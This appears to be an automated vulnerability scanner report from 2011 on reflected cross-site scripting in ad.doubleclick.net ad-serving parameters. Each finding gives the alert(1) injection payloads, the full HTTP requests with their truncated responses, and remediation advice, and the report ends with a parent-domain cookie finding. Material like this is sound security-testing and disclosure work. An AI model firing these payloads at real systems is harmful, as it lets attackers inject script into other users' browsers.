The value of the c request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8226b"-alert(1)-"616b09a3e8c was submitted in the c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=08226b"-alert(1)-"616b09a3e8c&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6170 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:53 GMT Expires: Wed, 26 Jan 2011 23:29:53 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Wed Dec 22 16:44:48 EST 2010 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... et/click%3Bh%3Dv8/3a9b/f/7e/%2a/o%3B234172581%3B0-0%3B0%3B58075184%3B4307-300/250%3B39965859/39983646/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=08226b"-alert(1)-"616b09a3e8c&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/last-minute-hotel-deals/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.39965859"); var fscUrl = url; var fscUrlClickTagFound = ...[SNIP]...
The value of the forced_click request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b2b7d"-alert(1)-"f17b996c0fd was submitted in the forced_click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=b2b7d"-alert(1)-"f17b996c0fd HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5896 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:55 GMT Expires: Wed, 26 Jan 2011 23:29:55 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... a9b/7/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=b2b7d"-alert(1)-"f17b996c0fdhttp://www.hotels.com/deals/january-sale/?pos=HCOM_US&locale=en_US&rffrid=ola.hcom.us.963403.58075184.40072040"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = "opaque"; var bg = " ...[SNIP]...
The value of the forced_click request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f19a8'-alert(1)-'1becc163b15 was submitted in the forced_click parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=f19a8'-alert(1)-'1becc163b15 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5896 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:55 GMT Expires: Wed, 26 Jan 2011 23:29:55 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... a9b/7/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=f19a8'-alert(1)-'1becc163b15http://www.hotels.com/deals/january-sale/?pos=HCOM_US&locale=en_US&rffrid=ola.hcom.us.963403.58075184.40072040\"> ...[SNIP]...
The value of the m request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 52dde'-alert(1)-'5bd2b14bda6 was submitted in the m parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=652dde'-alert(1)-'5bd2b14bda6&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6007 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:52 GMT Expires: Wed, 26 Jan 2011 23:29:52 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Tue Jan 04 10:50:05 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... .doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/p%3B234172581%3B2-0%3B0%3B58075184%3B4307-300/250%3B40083231/40101018/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=652dde'-alert(1)-'5bd2b14bda6&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40083231\"> ...[SNIP]...
The value of the m request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3d3e9"-alert(1)-"8195af4de90 was submitted in the m parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=63d3e9"-alert(1)-"8195af4de90&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:52 GMT Expires: Wed, 26 Jan 2011 23:29:52 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... .doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=63d3e9"-alert(1)-"8195af4de90&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040"); var fscUrl = url; var fscUrlClickT ...[SNIP]...
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 799b9"-alert(1)-"ed6dd3b4070 was submitted in the mid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092799b9"-alert(1)-"ed6dd3b4070&m=6&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:51 GMT Expires: Wed, 26 Jan 2011 23:29:51 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... //ad.doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092799b9"-alert(1)-"ed6dd3b4070&m=6&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040"); var fscUrl = url; var fscUrlCl ...[SNIP]...
The value of the mid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 50d62'-alert(1)-'6fe87fb3f7d was submitted in the mid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=51309250d62'-alert(1)-'6fe87fb3f7d&m=6&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6007 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:51 GMT Expires: Wed, 26 Jan 2011 23:29:51 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Tue Jan 04 10:50:05 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... //ad.doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/p%3B234172581%3B2-0%3B0%3B58075184%3B4307-300/250%3B40083231/40101018/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=51309250d62'-alert(1)-'6fe87fb3f7d&m=6&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40083231\"> ...[SNIP]...
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8baf'-alert(1)-'052580f43b4 was submitted in the sid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358c8baf'-alert(1)-'052580f43b4&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:53 GMT Expires: Wed, 26 Jan 2011 23:29:53 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... ck.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358c8baf'-alert(1)-'052580f43b4&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040\"> ...[SNIP]...
The value of the sid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 898aa"-alert(1)-"4d77989fb15 was submitted in the sid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358898aa"-alert(1)-"4d77989fb15&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:53 GMT Expires: Wed, 26 Jan 2011 23:29:53 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... ck.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358898aa"-alert(1)-"4d77989fb15&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040"); var fscUrl = url; var fscUrlClickTagFound = ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f763d'-alert(1)-'44332a664fe was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443f763d'-alert(1)-'44332a664fe&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6170 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:50 GMT Expires: Wed, 26 Jan 2011 23:29:50 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Wed Dec 22 16:44:48 EST 2010 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... ref=\"http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/o%3B234172581%3B0-0%3B0%3B58075184%3B4307-300/250%3B39965859/39983646/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443f763d'-alert(1)-'44332a664fe&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/last-minute-hotel-deals/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.39965859\"> ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6dc3a"-alert(1)-"4866b98e6f4 was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=2444436dc3a"-alert(1)-"4866b98e6f4&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:49 GMT Expires: Wed, 26 Jan 2011 23:29:49 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... cape("http://ad.doubleclick.net/click%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=2444436dc3a"-alert(1)-"4866b98e6f4&mid=513092&m=6&sid=57358&c=0&tp=8&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040"); var fscUrl = url; v ...[SNIP]...
The value of the tp request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 552fb'-alert(1)-'506d631a72a was submitted in the tp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8552fb'-alert(1)-'506d631a72a&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 5950 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:55 GMT Expires: Wed, 26 Jan 2011 23:29:55 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Mon Jan 03 16:54:20 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... ick%3Bh%3Dv8/3a9b/f/7e/%2a/n%3B234172581%3B1-0%3B0%3B58075184%3B4307-300/250%3B40072040/40089827/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8552fb'-alert(1)-'506d631a72a&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40072040\"> ...[SNIP]...
The value of the tp request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 679f0"-alert(1)-"a9d3de6c6e3 was submitted in the tp parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/N3995.134236.VALUECLICK/B5127793.2;sz=300x250;click=http://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8679f0"-alert(1)-"a9d3de6c6e3&forced_click=;ord=20110126201419?\ HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 6007 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:54 GMT Expires: Wed, 26 Jan 2011 23:29:54 GMT Connection: close
document.write('<!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserved. -->\r\n<!-- Code auto-generated on Tue Jan 04 10:50:05 EST 2011 -->\r\n<script src=\"http://s0.2mdn.net/ ...[SNIP]... ick%3Bh%3Dv8/3a9b/f/7e/%2a/p%3B234172581%3B2-0%3B0%3B58075184%3B4307-300/250%3B40083231/40101018/1%3B%3B%7Esscs%3D%3fhttp://media.fastclick.net/w/click.here?cid=244443&mid=513092&m=6&sid=57358&c=0&tp=8679f0"-alert(1)-"a9d3de6c6e3&forced_click=http%3a%2f%2fwww.hotels.com/deals/january-sale/%3Fpos%3DHCOM_US%26locale%3Den_US%26rffrid%3Dola.hcom.us.963403.58075184.40083231"); var fscUrl = url; var fscUrlClickTagFound = false; v ...[SNIP]...
The value of the ;ptype request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d3bb3'%3balert(1)//031c23fa53c was submitted in the ;ptype parameter. This input was echoed as d3bb3';alert(1)//031c23fa53c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/trb.wgntv2/biz;;ptype=d3bb3'%3balert(1)//031c23fa53c HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 309 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 22:10:33 GMT Expires: Wed, 26 Jan 2011 22:10:33 GMT
2.36. http://ad.doubleclick.net/adj/trb.wgntv2/biz [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://ad.doubleclick.net
Path:
/adj/trb.wgntv2/biz
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f4067'-alert(1)-'1d6b98fcde5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adj/trb.wgntv2/biz?f4067'-alert(1)-'1d6b98fcde5=1 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: application/x-javascript Content-Length: 304 Cache-Control: no-cache Pragma: no-cache Date: Wed, 26 Jan 2011 23:29:30 GMT Expires: Wed, 26 Jan 2011 23:29:30 GMT Connection: close
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
id=c653243310000d9|2155040/914354/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /click;h=v8/3a9b/f/8b/*/c;234366590;0-0;0;58134939;3454-728/90;40016019/40033806/1;;~okv=;pc=dig759825dc885480;;~sscs=?http:/log.go.com/log?srvc%3dabc%26guid%3d9124C358-CC09-4A53-B6AF-054934DCA4EE%26drop%3d0%26addata%3d0:55542:759825:52320%26a%3d1%26goto%3dhttp%3a%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855 HTTP/1.1 Host: ad.doubleclick.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc;
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://log.go.com/log?srvc%3dabc%26guid%3d9124C358-CC09-4A53-B6AF-054934DCA4EE%26drop%3d0%26addata%3d0:55542:759825:52320%26a%3d1%26goto%3dhttp:%2f%2fwww.facebook.com/Tropicana%3Fv%3Dapp_134465043278855 Set-Cookie: id=c653243310000d9|2155040/914354/15000|t=1294099968|et=730|cs=gfdmbifc; path=/; domain=.doubleclick.net; expires=Thu, 03 Jan 2013 00:12:48 GMT P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Date: Wed, 26 Jan 2011 23:29:11 GMT Server: GFE/2.0 Content-Type: text/html Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
